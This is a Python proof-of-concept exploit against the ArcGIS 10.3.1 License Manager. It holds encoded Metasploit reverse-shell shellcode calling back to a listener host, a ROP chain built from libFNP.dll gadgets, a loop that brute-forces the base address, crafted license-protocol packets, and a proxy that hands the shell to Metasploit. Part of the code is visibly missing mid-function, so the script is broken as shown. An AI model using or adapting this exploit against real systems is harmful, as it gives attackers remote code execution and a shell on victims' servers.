########################################################### # Title: POC Exploit ArcGIS 10.3.1 License Manager # Description: Given the memory protections employed by the application, # and the fact that we did not have a memory leak at the time, # we decided to attempt to brute force the correct base address # for our ROP chain. This POC takes between 5-30 mins to land. # # Target: Windows 7, x86 # from pwn import * import struct import binascii import random import time from threading import Thread from timeit import default_timer as timer # windows/shell/reverse_tcp - 308 bytes (stage 1) # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LHOST=192.168.229.133, LPORT=4444, # ReverseConnectRetries=5, ReverseListenerBindPort=0, # ReverseAllowProxy=false, ReverseListenerThreaded=false, # PayloadUUIDTracking=false, EnableStageEncoding=false, # StageEncoderSaveRegisters=, StageEncodingFallback=true, # PrependMigrate=false, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "" buf += "\xba\x6e\x94\xc5\x2e\xd9\xea\xd9\x74\x24\xf4\x58\x31" buf += "\xc9\xb1\x47\x31\x50\x13\x83\xe8\xfc\x03\x50\x61\x76" buf += "\x30\xd2\x95\xf4\xbb\x2b\x65\x99\x32\xce\x54\x99\x21" buf += "\x9a\xc6\x29\x21\xce\xea\xc2\x67\xfb\x79\xa6\xaf\x0c" buf += "\xca\x0d\x96\x23\xcb\x3e\xea\x22\x4f\x3d\x3f\x85\x6e" buf += "\x8e\x32\xc4\xb7\xf3\xbf\x94\x60\x7f\x6d\x09\x05\x35" buf += "\xae\xa2\x55\xdb\xb6\x57\x2d\xda\x97\xc9\x26\x85\x37" buf += "\xeb\xeb\xbd\x71\xf3\xe8\xf8\xc8\x88\xda\x77\xcb\x58" buf += "\x13\x77\x60\xa5\x9c\x8a\x78\xe1\x1a\x75\x0f\x1b\x59" buf += "\x08\x08\xd8\x20\xd6\x9d\xfb\x82\x9d\x06\x20\x33\x71" buf += "\xd0\xa3\x3f\x3e\x96\xec\x23\xc1\x7b\x87\x5f\x4a\x7a" buf += "\x48\xd6\x08\x59\x4c\xb3\xcb\xc0\xd5\x19\xbd\xfd\x06" buf += "\xc2\x62\x58\x4c\xee\x77\xd1\x0f\x66\xbb\xd8\xaf\x76" buf += "\xd3\x6b\xc3\x44\x7c\xc0\x4b\xe4\xf5\xce\x8c\x0b\x2c" buf += "\xb6\x03\xf2\xcf\xc7\x0a\x30\x9b\x97\x24\x91\xa4\x73" buf += "\xb5\x1e\x71\xd3\xe5\xb0\x2a\x94\x55\x70\x9b\x7c\xbc" buf += "\x7f\xc4\x9d\xbf\xaa\x6d\x37\x45\x3c\x52\x60\xa0\x39" buf += "\x3a\x73\x2b\x50\xe7\xfa\xcd\x38\x07\xab\x46\xd4\xbe" buf += "\xf6\x1d\x45\x3e\x2d\x58\x45\xb4\xc2\x9c\x0b\x3d\xae" buf += "\x8e\xfb\xcd\xe5\xed\xad\xd2\xd3\x98\x51\x47\xd8\x0a" buf += "\x06\xff\xe2\x6b\x60\xa0\x1d\x5e\xfb\x69\x88\x21\x93" buf += "\x95\x5c\xa2\x63\xc0\x36\xa2\x0b\xb4\x62\xf1\x2e\xbb" buf += "\xbe\x65\xe3\x2e\x41\xdc\x50\xf8\x29\xe2\x8f\xce\xf5" buf += "\x1d\xfa\xce\xca\xcb\xc2\xa4\x22\xc8" #host ='54.165.166.161' port = 27000 if len (sys.argv) == 2: (progname, host) = sys.argv else: print len (sys.argv) print 'Usage: {0} host '.format (sys.argv[0]) exit (1) def create_rop_chain( base_addr ): # rop chain generated with mona.py - www.corelan.be #rop_gadgets = [ # 0x69ed1d0e, # POP ECX # RETN [ARCGIS_libFNP.dll] # 0x69f25174, # ptr to &VirtualAlloc() [IAT ARCGIS_libFNP.dll] # 0x69c6d2bb, # MOV EAX,DWORD PTR DS:[ECX] # RETN [ARCGIS_libFNP.dll] # #####0x69ec46f2, # LEA ESI,EAX # RETN [ARCGIS_libFNP.dll] # 0x69dddf16 (RVA : 0x001bdf16) : # XCHG EAX,ESI # RETN ** [ARCGIS_libFNP.dll] ** | {PAGE_EXECUTE_READ} # 0x69e46270, # POP EBP # RETN [ARCGIS_libFNP.dll] # 0x69ed1737, # & call esp [ARCGIS_libFNP.dll] # 0x69e20931, # XOR EAX,EAX # RETN ** [ARCGIS_libFNP.dll] ** | {PAGE_EXECUTE_READ} # 0x69e4d25e (RVA : 0x0022d25e) : # XCHG EAX,EBX # RETN # 0x69c6d29c, # ADD EBX,EAX # XOR EAX,EAX # RETN ** [ARCGIS_libFNP.dll] ** | {PAGE_EXECUTE_READ} # 0x69e2092f, # INC EBX # XOR EAX,EAX # RETN 0x00000001-> ebx # 0x69dbdf68, # POP EAX # RETN [ARCGIS_libFNP.dll] # 0xcc2659f1, # 0x69dee48b, # ADD EAX,33D9B60F # RETN # 0x69d596ca, # XCHG EAX,EDX # RETN 0x00001000-> edx # 0x69dbdf68, # POP EAX # RETN [ARCGIS_libFNP.dll] # 0xcc264a31, # 0x69dee48b, # ADD EAX,33D9B60F # RETN # 0x69c32fbb, # XCHG EAX,ECX # RETN 0x00000040-> ecx # 0x69d1de59, # POP EDI # RETN [ARCGIS_libFNP.dll] # 0x69dd55ba, # RETN (ROP NOP) [ARCGIS_libFNP.dll] # 0x69dbdf68, # POP EAX # RETN [ARCGIS_libFNP.dll] # 0x90909090, # nop # 0x69d2ce9c, # PUSHAD # RETN [ARCGIS_libFNP.dll] #] rel_rop_gadgets = [ base_addr + 0x1b55ba, # RETN (ROP NOP) [ARCGIS_libFNP.dll] 0x90909090, # nop 0x90909090, # nop base_addr + 0x2b1d0e, # POP ECX # RETN [ARCGIS_libFNP.dll] base_addr + 0x305174, # ptr to &VirtualAlloc() [IAT ARCGIS_libFNP.dll] base_addr + 0x4d2bb, # MOV EsockAX,DWORD PTR DS:[ECX] # RETN [ARCGIS_libFNP.dll] base_addr + 0x1bdf16, # XCHG EAX,ESI # RETN base_addr + 0x226270, # POP EBP # RETN [ARCGIS_libFNP.dll] base_addr + 0x2b1737, # & call esp [ARCGIS_libFNP.dll] base_addr + 0x200931, # XOR EAX,EAX # RETN ** [ARCGIS_libFNP.dll] ** | {PAGE_EXECUTE_READ} base_addr + 0x22d25e, # XCHG EAX,EBX # RETN base_addr + 0x20092f, # INC EBX # XOR EAX,EAX # RETN 0x00000001-> ebx base_addr + 0x19df68, # POP EAX # RETN [ARCGIS_libFNP.dll] 0xcc2659f1, base_addr + 0x1ce48b, # ADD EAX,33D9B60F # RETN base_addr + 0x1396ca, # XCHG EAX,EDX # RETN 0x00001000-> edx base_addr + 0x19df68, # POP EAX # RETN [ARCGIS_libFNP.dll] 0xcc264a31, base_addr + 0x1ce48b, # ADD EAX,33D9B60F # RETN base_addr + 0x12fbb, # XCHG EAX,ECX # RETN 0x00000040-> ecx base_addr + 0xfde59, # POP EDI # RETN [ARCGIS_libFNP.dll] base_addr + 0x1b55ba, # RETN (ROP NOP) [ARCGIS_libFNP.dll] base_addr + 0x19df68, # POP EAX # RETN [ARCGIS_libFNP.dll] 0x90909090, # nop base_addr + 0x10ce9c, # PUSHAD # RETN [ARCGIS_libFNP.dll] ] return ''.join(struct.pack(' 0: if ((v4 ^ v3) & 1) == 1: v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF else: v4 = (v4 >> 1) & 0x0FFFF v3 >>= 1 j = j - 1 word_table.append( v4 & 0x0FFFF ) i = i + 1 k = 0 checksum = 0 data_bytes = packet_data while k < len(packet_data): position = ord(data_bytes[k]) ^ (checksum & 0x0FF) this_word = word_table[position] & 0x0FFFF checksum = (this_word ^ (checksum >> 8)) & 0x0FFFF k = k + 1 return checksum def get_LM_port(host,port): conn3 = remote(host,port) username = "USERNAME" computername = "COMPUTERNAME" pkt = "\x68" pkt += "\x00" # header checksum pkt += "\x31\x33" # pkt length pkt += username + "\x00"*(20 - len(username) + 1 ) pkt += computername + "\x00"*(32 - len(computername) + 1 ) pkt += "ARCGIS" + "\x00"*5 pkt += computername + "\x00"*(32 - len(computername) + 1 ) pkt += "\x54" pkt += "\x00"*12 pkt += "\x32\x34\x34\x80" + "\x00"*7 pkt += "i86_n3" + "\x00"*7 pkt += "\x0b\x0c\x37\x38\x00\x31\x34\x00" hdr_sum = header_checksum(pkt,len(pkt)) pkt = pkt[:1] + chr(hdr_sum) + pkt[2:] #print binascii.hexlify(pkt) conn3.send(pkt) resp = conn3.recv() conn3.close() if resp == None: return None #print binascii.hexlify(resp) str_port = resp[-9:-7] lmport = struct.unpack('>H', str_port)[0] #nasty code to get the integer of the port return lmport def create_packet(seq_num, cmd, data ): pkt = "\x2f" #possible command, might try to fuzz this pkt += "\x00" # header checksum pkt += "\x00\x00" # data checksum pkt += "\x00\x00" # pkt length pkt += struct.pack( ">H", cmd ) pkt += struct.pack( "I", seq_num) pkt += "\x00\x00\x00\x00\x00\x00\x00\x00" # Padding to finish the header pkt += data pkt += "\x00" #add null terminator pkt_len = struct.pack( ">H", len(pkt)) pkt = pkt[:4] + pkt_len + pkt[6:] data_sum = data_checksum(pkt[4:]) data_sum_str = struct.pack( ">H", data_sum) pkt = pkt[:2] + data_sum_str + pkt[4:] hdr_sum = header_checksum(pkt[:20]) pkt = pkt[:1] + chr(hdr_sum) + pkt[2:] return pkt ####################################################################### # # This function sends a message to lmgrd to restart the crashed # ARGCIS service # def restart_svc(host,port): cmd = 0x107 data = "A"*0x400 data += "\x00" #Custom shellcode data += "127.0.0.1" data += "\x00" data += "ARCGIS" data += "\x00" data += "D"*4 data += "D"*4 data += "\x00" data += "E"*40 seq_num = random.randrange(16843009,4294967295) #get random number in range from \x01010101 to \xFFFFFFFF. Could try fuzzing this possibly in the future pkt = create_packet(seq_num, cmd, data) #print binascii.hexlify(pkt) conn3 = remote(host,port) conn3.send(pkt) try: response = conn3.recv(timeout=1) except EOFError as e: print e conn3.close() ####################################################################### # # This function listens for the incoming stage and acts like a proxy # to metasploit. The reason for this is so we can check when the exploit # landed and stop brute forcing # def recv_conn(): global sock global sock2 proxy_port = 4444 msf_port = 4445 local_host = "127.0.0.1" #Listening for incoming connection on port 4444 sock = listen( proxy_port ) sock.wait_for_connection() #Connet to msf sock2 = remote(local_host,msf_port) #Connect the pipes if sock: sock.connect_output(sock2) if sock2: sock2.connect_output(sock) #Set globals sock = None sock2 = None recv_thread = Thread(target=recv_conn) recv_thread.start() start = timer() while True: #Generate the base address 0x6100 - 0x6fff0000 base = 0x60000000 rand = random.randrange(0x100,0xf00) << 16 base = base + rand print "[+] Trying Base Address: " + hex(base) rop_chain = create_rop_chain( base ) #print "[+] ROP length: " + str(len(rop_chain)) #Make sure the service is started restart_svc(host,port) time.sleep(1) cmd = 0x107 lmport= get_LM_port(host,port) if lmport == 0: time.sleep(1) continue print "[+] ARCGIS Daemon is running on " + str(lmport) #Initial pivot with VirtualAlloc shellcode data = "A"*0x154 data += rop_chain #pivot to here data += "\x90" * (0x3fe - len(data)) #nops data += "\xeb\x02" #short jump to bigger buffer below data += "\x00" #Custom shellcode data += "\x90"*8 #few nops data += buf #shellcode data += "\xcc"* (0x400 - (len(buf) + 8)) data += "\x00" data += "C"*0xa data += "\x00" data += "D"*4 data += "E"*40 #EIP data += struct.pack( "I", base + 0x23f78e) #{pivot 4240 / 0x1090} : # ADD ESP,1090 # RETN 0x08 data += "\x00" data += "F"*100 seq_num = random.randrange(16843009,4294967295) #get random number in range from \x01010101 to \xFFFFFFFF. Could try fuzzing this possibly in the future pkt = create_packet(seq_num, cmd, data) #print binascii.hexlify(pkt) conn2 = remote(host,lmport) conn2.send(pkt) try: response = conn2.recv(timeout=0.5) except EOFError as e: print e #Check if exploit worked if sock2: end = timer() print "[+] Found Base Address: " + hex( base ) print "[+] Time to exploit: " + str(end-start) + "s" while True: time.sleep(0.1) #Close and start over conn2.close()